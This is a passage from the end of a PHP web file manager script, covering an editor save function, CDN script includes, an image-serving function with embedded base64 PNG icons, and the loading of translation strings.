function edit_save(i,atr){var contents=(atr=="ace")?editor.getSession().getValue():document.getElementById('normal-editor').value;if(!!contents){var form=document.createElement("form");form.setAttribute("method", 'POST');form.setAttribute("action", '');var inputField=document.createElement("textarea");inputField.setAttribute("type", "textarea");inputField.setAttribute("name", 'savedata');var _temp=document.createTextNode(contents);inputField.appendChild(_temp);form.appendChild(inputField);document.body.appendChild(form);form.submit();}}
</script>
<?php if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS): ?>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<?php endif; ?>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): ?>
<script src="//cdnjs.cloudflare.com/ajax/libs/ace/1.2.8/ace.js"></script>
<script>var editor = ace.edit("editor");editor.getSession().setMode("ace/mode/javascript");</script>
<?php endif; ?>
</body>
</html>
<?php
}
/**
* Show image
* @param string $img
*/
function fm_show_image($img)
{
$modified_time = gmdate('D, d M Y 00:00:00') . ' GMT';
$expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT';
$img = trim($img);
$images = fm_get_images();
$image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';
if (isset($images[$img])) {
$image = $images[$img];
}
$image = base64_decode($image);
if (function_exists('mb_strlen')) {
$size = mb_strlen($image, '8bit');
} else {
$size = strlen($image);
}
if (function_exists('header_remove')) {
header_remove('Cache-Control');
header_remove('Pragma');
} else {
header('Cache-Control:');
header('Pragma:');
}
header('Last-Modified: ' . $modified_time, true, 200);
header('Expires: ' . $expires_time);
header('Content-Length: ' . $size);
header('Content-Type: image/png');
echo $image;
exit;
}
/**
* Get base64-encoded images
* @return array
*/
function fm_get_images()
{
return array(
'favicon' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI
f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x
rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1
Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2
PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn
LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q
GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6
kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==',
'sprites' => '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
RK5CYII=',
);
}
/**
* Get all translations
* @return array
*/
function fm_get_strings()
{
static $strings;
if ($strings !== null) {
return $strings;
}
$strings = array();
// get additional translations from 'filemanager-l10n.php'
$l10n_path = __DIR__ . '/filemanager-l10n.php';
if (is_readable($l10n_path)) {
$l10n_strings = include $l10n_path;
if (!empty($l10n_strings) && is_array($l10n_strings)) {
$strings = array_merge($strings, $l10n_strings);
}
}
return $strings;
}
/**
* Get all available languages
* @return array
*/
function fm_get_available_langs()
{
$strings = fm_get_strings();
$languages = array_keys($strings);
$languages[] = 'en';
return $languages;
}